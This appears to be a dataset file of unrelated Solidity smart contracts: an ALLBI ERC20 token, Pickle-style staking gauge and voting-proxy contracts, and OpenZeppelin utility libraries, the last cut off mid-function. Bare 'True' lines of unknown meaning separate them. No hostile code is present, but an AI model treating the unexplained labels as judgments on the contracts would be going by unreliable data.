from:https://opensea.io/collection/allbi-onlexpa-nfts // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ALLBI is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ALLBI () public { symbol = "ALLBI"; name = "ALL BEST ICO"; decimals = 18; _totalSupply = 666000000000000000000000000; balances[0xed0b26224D4629264B02f994Dcc4375DA3e6F9e4] = _totalSupply; //MEW address here Transfer(address(0), 0xed0b26224D4629264B02f994Dcc4375DA3e6F9e4, _totalSupply);//MEW address here } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-15 */ /** *Submitted for verification at Etherscan.io on 2021-08-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage * 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-28 */ pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns 